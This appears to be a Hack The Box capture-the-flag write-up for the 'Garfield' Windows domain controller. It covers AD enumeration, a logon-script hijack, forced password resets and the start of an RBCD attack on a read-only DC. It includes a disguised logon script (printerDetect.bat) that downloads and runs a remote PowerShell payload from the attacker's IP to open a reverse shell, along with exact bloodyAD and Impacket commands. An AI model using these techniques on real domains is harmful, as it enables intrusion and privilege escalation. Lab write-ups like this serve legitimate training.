Garfield
by 0xW1LD
Enumeration
As is common in real life pentests, you will start the Garfield box with credentials for the following account
j.arbuckle/Th1sD4mnC4t!@1978
Scans
As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-07 12:52:06Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2179/tcp open vmrdp? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-07T12:52:54+00:00
|_ssl-date: 2026-04-07T12:53:35+00:00; +8h03m41s from scanner time.
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Issuer: commonName=DC01.garfield.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-13T01:10:36
| Not valid after: 2026-08-15T01:10:36
| MD5: 1d54 628d c6bd 0ef0 98e8 6fe7 ed23 3178
| SHA-1: 6a3b 9a1d cd3f 0006 7f71 f340 cefb 59b8 b2e9 5041
| SHA-256: f7cc 022a 49f7 12ba 7bf1 ba5e 4d55 723c c89b 0f9e e9cc 1e29 9d2b 8d7e 36f3 c999
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIBAgIQRWjBnxmhFpRL9DZFFlNNGzANBgkqhkiG9w0BAQsFADAc
| MRowGAYDVQQDExFEQzAxLmdhcmZpZWxkLmh0YjAeFw0yNjAyMTMwMTEwMzZaFw0y
| NjA4MTUwMTEwMzZaMBwxGjAYBgNVBAMTEURDMDEuZ2FyZmllbGQuaHRiMIIBIjAN
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAudwNMshQBO3zq1/pE8+nBxwGxJ1l
| SyyT5cTIhNDVGOj1kvnrvbksT07EV+vqMFnCrp1d4CAwvOqCGFuPPoVw2X6oEM3C
| Hk3WdpoAGDuSUSNSvfketGhPiPjD0mbRUl0/TLqDu0shOL1D7q1IXHh4H/S7Rqgd
| GXUs7jQ19RryyVJ6fbH1aoZrg2JATrlpzAh9u77upPVhK2omeTyEz9PNxeElbb8j
| 22YgC9WjR+YSwQcq9xjMNS+8Bf2MwF9ltPYp3M8PKMO6Ib93EvWfbkQ75gxB1CJ+
| UJo85i8/N1L5ZvfkDP5UkBkGKiaWDfIqx+RlpUuOt5Y98N/szT08l+YQBQIDAQAB
| oyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcN
| AQELBQADggEBACOttD+PBn41TyIk0Fr5ISoHzalcZLFhWwVpmJKvGPwEEj+2o3JI
| yZgV0kVinOLCkEY2O+N95iWNcbc0jTkmkhHmfTyNZ2mA4P0Dxd+TVnBzUleL8Tjm
| Rm8s53SBxncdtykSulWbszQLLgRy09EBapw2JHNpWG9p0ymPqW3uBGcJXfsZ3hif
| +xIeWo+aXoJfSG4F+ptBxRMJ7OGr+q4jQh84VUi5tLUXtHvxJMuM/LPgNVkEsYFU
| yNeT8ukEDEdMTVAYWeftXPMfAbdDX1Ptr0JCeLW5VFWrql9EszHXs4nCvoBg9iSj
| 7ipPJi99f+g9vL4srEEeQxsVGlv/RZ85Bj4=
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49899/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49982/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 23820/tcp): CLEAN (Timeout)
| Check 2 (port 14173/tcp): CLEAN (Timeout)
| Check 3 (port 14297/udp): CLEAN (Timeout)
| Check 4 (port 56451/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h03m40s, deviation: 0s, median: 8h03m40s
| smb2-time:
| date: 2026-04-07T12:52:59
|_ start_date: N/A
We can see we have a pretty standard AD DC hosting all our services which is very common for HTB Windows machines.
Let’s start enumerating the Domain, I like to get a sense of all the objects in the domain so let’s get those first.
Users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=user)" --attr sAMAccountName
distinguishedName: CN=Administrator,CN=Users,DC=garfield,DC=htb
sAMAccountName: Administrator
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
sAMAccountName: Guest
distinguishedName: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: DC01$
distinguishedName: CN=krbtgt,CN=Users,DC=garfield,DC=htb
sAMAccountName: krbtgt
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: RODC01$
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
sAMAccountName: krbtgt_8245
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
sAMAccountName: j.arbuckle
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
sAMAccountName: l.wilson
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
sAMAccountName: l.wilson_adm
Computers
1
2
3
4
5
6
7
8
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=computer)" --attr sAMAccountName
distinguishedName: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: DC01$
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: RODC01$
Interesting to note here is that there’s a Read Only Domain Controller(RODC)
Groups
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=group)" --attr distinguishedName
distinguishedName: CN=Administrators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Guests,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Print Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Replicator,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Network Configuration Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Performance Monitor Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Performance Log Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Distributed COM Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=IIS_IUSRS,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Cryptographic Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Event Log Readers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Certificate Service DCOM Access,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=RDS Remote Access Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=RDS Endpoint Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=RDS Management Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Hyper-V Administrators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Access Control Assistance Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Storage Replica Administrators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Domain Computers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Schema Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Enterprise Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Cert Publishers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Users,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Guests,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Group Policy Creator Owners,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=RAS and IAS Servers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Incoming Forest Trust Builders,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Windows Authorization Access Group,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Terminal Server License Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Read-only Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Cloneable Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Protected Users,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Key Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Enterprise Key Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=DnsAdmins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=DnsUpdateProxy,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=RODC Administrators,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=IT Support,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Tier 1,CN=Users,DC=garfield,DC=htb
OUs
1
2
3
4
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=organizationalUnit)" --attr distinguishedName
distinguishedName: OU=Domain Controllers,DC=garfield,DC=htb
GPOs
1
2
3
4
5
6
7
8
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=groupPolicyContainer)" --attr cn
distinguishedName: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=garfield,DC=htb
cn: {31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedName: CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=garfield,DC=htb
cn: {6AC1786C-016F-11D2-945F-00C04fB984F9}
J.arbuckle’s writables
Let’s also take a look at the writables and permissions that we have as j.arbuckle in the domain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get writable --detail
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
scriptPath: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
User
Getting L.Wilson Via LogonScripts
Interesting to note that we have WRITE scriptPath on Liz Wilson and Liz Wilson ADM due to being in the IT Support group. scriptPath is the attribute that determines what login scripts that a user will execute upon an interactive logon. These scripts are usually stored in SMB either on SYSVOL or the NETLOGON shares. Let’s take a look.
1
2
3
4
5
6
7
8
9
10
11
12
$ nxc smb dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' --shares
SMB 10.129.191.74 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.191.74 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.191.74 445 DC01 [*] Enumerated shares
SMB 10.129.191.74 445 DC01 Share Permissions Remark
SMB 10.129.191.74 445 DC01 ----- ----------- ------
SMB 10.129.191.74 445 DC01 ADMIN$ Remote Admin
SMB 10.129.191.74 445 DC01 C$ Default share
SMB 10.129.191.74 445 DC01 IPC$ READ Remote IPC
SMB 10.129.191.74 445 DC01 NETLOGON READ Logon server share
SMB 10.129.191.74 445 DC01 SYSVOL READ Logon server share
Both the SYSVOL and NETLOGON shares are Distributed File System Shares, which means that they’ll automatically try to connect the client (us) to the nearest DC which could either be DC01 or RODC01. If we attempt to connect to NETLOGON we can see that RODC01 has registered itself as the DFS target for the share as we do not have the RODC in our /etc/hosts file yet.
1
2
3
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/NETLOGON
do_connect: Connection to RODC01.garfield.htb failed (Error NT_STATUS_UNSUCCESSFUL)
If we keep connecting we should be able to reach the fallback server, which should be DC01, this is what we want since we can’t be sure that the RODC can connect back to us as it’s in the 192.168.100.0 network.
1
2
3
4
5
# Got it on my 3rd try
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/NETLOGON
Try "help" to get a list of possible commands.
smb: \>
We can test that we can write to this directory by making a directory.
1
2
3
smb: \> mkdir pwned
NT_STATUS_ACCESS_DENIED making remote directory \pwned
Looks like we don’t have much luck on NETLOGON, luckily SYSVOL also works in our favor as it actually contains the NETLOGON share.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 13 07:04:43 2025
.. D 0 Wed Aug 13 07:04:43 2025
garfield.htb Dr 0 Wed Aug 13 07:04:43 2025
9250815 blocks of size 4096. 953308 blocks available
smb: \> cd garfield.htb
smb: \garfield.htb\> ls
. D 0 Wed Aug 13 07:11:05 2025
.. D 0 Wed Aug 13 07:11:05 2025
DfsrPrivate DHSr 0 Wed Aug 13 07:11:05 2025
Policies D 0 Wed Aug 13 07:04:48 2025
scripts D 0 Tue Apr 7 09:54:46 2026
9250815 blocks of size 4096. 953308 blocks available
smb: \garfield.htb\> cd scripts
smb: \garfield.htb\scripts\> ls
. D 0 Tue Apr 7 09:54:46 2026
.. D 0 Tue Apr 7 09:54:46 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
9250815 blocks of size 4096. 953308 blocks available
smb: \garfield.htb\scripts\> mkdir pwned
smb: \garfield.htb\scripts\> ls
. D 0 Tue Apr 7 10:09:43 2026
.. D 0 Tue Apr 7 10:09:43 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
pwned D 0 Tue Apr 7 10:09:43 2026
9250815 blocks of size 4096. 953308 blocks available
smb: \garfield.htb\scripts\>
Looks like we have write access to the NETLOGON share through the SYSVOL share. Let’s put a logonScript that will access a reverse shell and name it printerDetect.bat just to bypass any protections that might exist.
1
2
3
@echo off
powershell -ep bypass -c "iex(iwr http://10.10.14.6:3232/ra.exe.ps1 -useb)"
Let’s upload this script to the scripts directory in the SYSVOL share.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/SYSVOL
Try "help" to get a list of possible commands.
smb: \> cd garfield.htb\
smb: \garfield.htb\> cd scripts\
smb: \garfield.htb\scripts\> ls
. D 0 Tue Apr 7 10:09:43 2026
.. D 0 Tue Apr 7 10:09:43 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
pwned D 0 Tue Apr 7 10:09:43 2026
9250815 blocks of size 4096. 953320 blocks available
smb: \garfield.htb\scripts\> put printerDetect.bat
putting file printerDetect.bat as \garfield.htb\scripts\printerDetect.bat (1.0 kB/s) (average 1.0 kB/s)
Finally, let’s change l.wilson and l.wilson_adm’s scriptPath attributes.
1
2
3
4
5
6
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' set object "l.wilson" scriptPath -v 'printerDetect.bat'
[+] l.wilsons scriptPath has been updated
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' set object "l.wilson_adm" scriptPath -v 'printerDetect.bat'
[+] l.wilson_adm's scriptPath has been updated
After a while I get a callback from l.wilson on my listener!
1
2
3
4
5
6
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
garfield\l.wilson
We can use Rubeus.exe to extract a kirbi to get a TGT so we can continue conducting attacks remotely.
Getting L.Wilson_ADM Via Force Change Password
Let’s first grab l.wilson_adm and all the securityDescriptors associated with the account.
1
2
$ bloodyAD -H dc01.garfield.htb -k -d garfield.htb get object "l.wilson_adm" --resolve-sd > l.wilson_adm.sd
Looking through whether l.wilson has any ACLs on l.wilson_adm we can find that she has User-Force-Change-Password
1
2
3
4
5
6
7
$ grep -B1 -A3 -E 'l.wilson$' l.wilson_adm.sd
nTSecurityDescriptor.ACL.2.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.2.Trustee: l.wilson
nTSecurityDescriptor.ACL.2.Right: CONTROL_ACCESS
nTSecurityDescriptor.ACL.2.ObjectType: User-Change-Password; User-Force-Change-Password
nTSecurityDescriptor.ACL.2.Flags: CONTAINER_INHERIT
So let’s set l.wilson_adm’s password!
1
2
3
$ bloodyAD -H dc01.garfield.htb -k -d garfield.htb set password "l.wilson_adm" 'Password123!'
[+] Password changed successfully!
Let’s Evil-Winrm onto the machine!
1
2
3
4
5
6
7
8
9
10
11
12
13
$ evil-winrm-py -i dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'dc01.garfield.htb:5985' as 'l.wilson_adm'
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
evil-winrm-py PS C:\Users\l.wilson_adm\Documents>
Just like that, we have User!
Root
Getting RODC01 Via RBCD
Taking a look around we have some permissions on RODC01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
$ bloodyAD -H dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
lastLogonTimestamp: WRITE
logonCount: WRITE
accountExpires: WRITE
profilePath: WRITE
userParameters: WRITE
pwdLastSet: WRITE
userWorkstations: WRITE
logonWorkstation: WRITE
logonHours: WRITE
scriptPath: WRITE
lastLogon: WRITE
lastLogoff: WRITE
homeDrive: WRITE
homeDirectory: WRITE
badPwdCount: WRITE
userAccountControl: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
Most notable would be the WRITE on the msDS-AllowedToActOnBehalfOfOtherIdentity, as this allows us to conduct an RBCD attack. Let’s first establish a tunnel to the internal network 192.168.100.0/24 so we can connect to RODC01 directly using our tool of choice.
Next let’s add a new computer account which we’ll use as a service for RBCD
1
2
3
4
$ addcomputer.py garfield.htb/l.wilson_adm:'Password123!' -computer-name 'w1ld$' -computer-pass 'Password123!'
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account w1ld$ with password Password123!.
Next let’s add RBCD which is essentially setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
1
2
3
4
5
$ bloodyAD -H dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' add rbcd 'RODC01$' 'w1ld$'
[!] No security descriptor has been returned, a new one will be created
[+] w1ld$ can now impersonate users on RODC01$ via S4U2Proxy
